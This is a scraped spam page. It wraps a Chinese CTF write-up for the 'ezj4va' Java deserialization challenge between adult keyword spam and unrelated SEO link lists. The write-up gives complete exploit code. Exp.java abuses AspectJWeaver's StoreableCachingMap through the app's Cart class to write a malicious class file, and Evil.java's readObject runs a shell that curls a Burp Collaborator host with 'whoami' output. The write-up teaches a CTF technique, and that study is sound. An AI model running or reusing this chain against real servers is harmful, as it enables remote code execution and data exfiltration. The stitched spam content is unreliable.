国产亚洲精品福利在线无卡一,国产精久久一区二区三区,亚洲精品无码国模,精品久久久久久无码专区不卡

當(dāng)前位置: 首頁 > news >正文

想在百度做網(wǎng)站自動推廣工具

想在百度做網(wǎng)站,自動推廣工具,海南旅游網(wǎng)頁設(shè)計,哈爾濱模板建站定制網(wǎng)站目錄 前言 原理分析 step 0 step 1 EXP 前文:【W(wǎng)eb】淺聊Java反序列化之AspectJWeaver——任意文件寫入-CSDN博客 前言 這就是當(dāng)年傳說中的零解題嘛😭,快做🤮了 有了之前的經(jīng)驗,思路順挺快的,中間不…

目錄

前言

原理分析

step 0

step 1

EXP


前文:【W(wǎng)eb】淺聊Java反序列化之AspectJWeaver——任意文件寫入-CSDN博客

前言

這就是當(dāng)年傳說中的零解題嘛😭,快做🤮了

有了之前的經(jīng)驗,思路順挺快的,中間不知道為啥一直一直一直一直報錯,耗了一個下午總算打通

考的是AspectJWeaver寫惡意字節(jié)碼到靶機(jī)上(本題jsp靶機(jī)不解析),再去對其進(jìn)行反序列化

值得一提的是,本題并未在輸入流進(jìn)行黑名單過濾,事實上就是純粹的原生反序列化,但因該jdk下無利用鏈可打,所以只能先迂回寫入一個惡意類,再對這個惡意類進(jìn)行反序列化操作,實在是巧思!

原理分析

step 0

先看pom依賴

當(dāng)時是2021年,Y4👴還沒有公開fj原生反序列化的姿勢,所以可以排除(

自然關(guān)注的重點會落在AspectJWeaver上,其可以實現(xiàn)任意文件寫入(具體細(xì)節(jié)請看最開始給的文章,不作贅述)

問題是文章里給的姿勢是利用CC依賴下LazyMap#get觸發(fā)StoreableCachingMap#put從而寫文件的,題目沒有給CC依賴怎么破呢?

自然是要去利用題目自定義的類的哇,這里暫按下不表

此外,拿到源碼后我們知曉了靶機(jī)的目錄結(jié)構(gòu),方便我們后續(xù)利用

step 1

再來看路由

/cart/add

接受skus和cart兩個參數(shù),然后作為入?yún)⒄{(diào)用cartService.addToCart

addToCart方法就是對傳入數(shù)據(jù)分別進(jìn)行原生反序列化,將cart的SkuDescribe屬性作為Map,將toAdd的SkuDescibe屬性作為entry,并分別取其K V對put進(jìn)Map中

如果令Map為精心構(gòu)造folder屬性的StoreableCachingMap,K V分別為惡意文件名和惡意字節(jié)碼文件內(nèi)容的話,我們就可以在靶機(jī)寫入任意惡意字節(jié)碼文件,屬實太妙了(具體請看EXP構(gòu)造)

?

再看/cart/query路由

對由cookie傳入的cart值進(jìn)行cartService#query操作

這里其實就是直接進(jìn)行反序列化操作了,但題目的jdk下并沒有原生反序列化的鏈子,所以我們無法直接進(jìn)行利用,只能多走一步,去反序列化我們寫入的惡意類

思路并不復(fù)雜,話休絮煩,直接給EXP

EXP

EXP.java

package ciscn.fina1.ezj4va;import ciscn.fina1.ezj4va.domain.Cart;
import ciscn.fina1.ezj4va.utils.Serializer;
import javassist.ClassPool;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;public class Exp {protected static String getSkus() {try {Cart cart = new Cart();Field sku_f = cart.getClass().getDeclaredField("skuDescribe");sku_f.setAccessible(true);HashMap hashMap = new HashMap<>();String bytes = Base64.getEncoder().encodeToString(ClassPool.getDefault().get(Evil.class.getName()).toBytecode());hashMap.put("Evil.class", Base64.getDecoder().decode(bytes));sku_f.set(cart, hashMap);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return "";}protected static String getOldCart() {try {Cart cart = new Cart();Field sku_f = cart.getClass().getDeclaredField("skuDescribe");sku_f.setAccessible(true);Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");Constructor constructor = clazz.getDeclaredConstructors()[0];constructor.setAccessible(true);Object o = constructor.newInstance("/ctf/ezj4va/app/target/classes/ciscn/fina1/ezj4va", 1);sku_f.set(cart, o);return Serializer.serialize(cart);} catch (Exception e) {e.printStackTrace();}return "";}public static void main(String[] args) throws Exception {String oldCartStr = getOldCart();String skus = getSkus();Evil evil = new Evil();System.out.println(oldCartStr);System.out.println(skus);System.out.println(Serializer.serialize(evil));}
}

Evil.java

package ciscn.fina1.ezj4va;import java.io.Serializable;public class Evil implements Serializable {private void readObject(java.io.ObjectInputStream s) throws Exception{Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","curl http://lpe59sb790s5tlrgmet6za2aj1psdh.burpcollaborator.net?a=`whoami`"});}
}

先訪問/cart/add寫入惡意字節(jié)碼文件?

再訪問/cart/query來反序列化利用寫入的惡意類?

用bp起一個dnslog來外帶數(shù)據(jù)

http://aloenet.com.cn/news/44692.html

相關(guān)文章:

  • 開發(fā)大型網(wǎng)站的流程推廣方案經(jīng)典范文
  • 中國航發(fā)網(wǎng)上商城首頁優(yōu)化課程設(shè)置
  • 黑色網(wǎng)站后臺公司網(wǎng)站推廣
  • 網(wǎng)站flash制作教程友鏈目錄網(wǎng)
  • 做網(wǎng)站 做應(yīng)用網(wǎng)絡(luò)推廣引流是做什么的
  • 網(wǎng)站建設(shè)目標(biāo)及需求百度搜索排名怎么收費
  • 一個好的網(wǎng)站建設(shè)優(yōu)化大師官網(wǎng)登錄入口
  • 淘寶客的網(wǎng)站是自己做的嗎深圳專業(yè)seo外包
  • 做網(wǎng)站開發(fā)需要學(xué)那些東西安裝百度到手機(jī)桌面
  • 網(wǎng)頁設(shè)計素材網(wǎng)站有哪些怎么自己弄一個網(wǎng)站
  • 學(xué)室內(nèi)設(shè)計真的那么慘嗎北京seo專員
  • 自己做的小網(wǎng)站如何發(fā)布軟文范例
  • 重慶模板網(wǎng)站多少錢烘焙甜點培訓(xùn)學(xué)校
  • 制作網(wǎng)站程序黑帽seo培訓(xùn)大神
  • 手機(jī)在線銷售網(wǎng)站 - 百度百度人工客服電話怎么轉(zhuǎn)人工
  • 學(xué)習(xí)做網(wǎng)站的網(wǎng)站愛站關(guān)鍵詞挖掘工具
  • 網(wǎng)游網(wǎng)站開發(fā)如何做好搜索引擎優(yōu)化工作
  • 關(guān)注建設(shè)銀行網(wǎng)站如何讓網(wǎng)站被百度收錄
  • 貴陽建設(shè)網(wǎng)站公司5118
  • 做帶會員后臺的網(wǎng)站用什么軟件阿里指數(shù)官方網(wǎng)站
  • 醫(yī)療圖片做網(wǎng)站圖片鎮(zhèn)江網(wǎng)絡(luò)
  • 沈陽順天建設(shè)集團(tuán)網(wǎng)站成都seo經(jīng)理
  • 微信平臺制作網(wǎng)站開發(fā)站長之家怎么用
  • 做阿里巴巴網(wǎng)站免費的網(wǎng)站域名查詢
  • 品牌宣傳網(wǎng)站建設(shè)網(wǎng)站賣鏈接
  • 百度云免費空間seo主要做什么工作
  • 肇東網(wǎng)站建設(shè)知了seo
  • 怎么做網(wǎng)站的輪播圖荊門今日頭條新聞發(fā)布
  • 中國做的比較好的網(wǎng)站網(wǎng)站提交收錄軟件
  • 網(wǎng)站開發(fā) 哪個工具更快seo網(wǎng)站關(guān)鍵詞排名軟件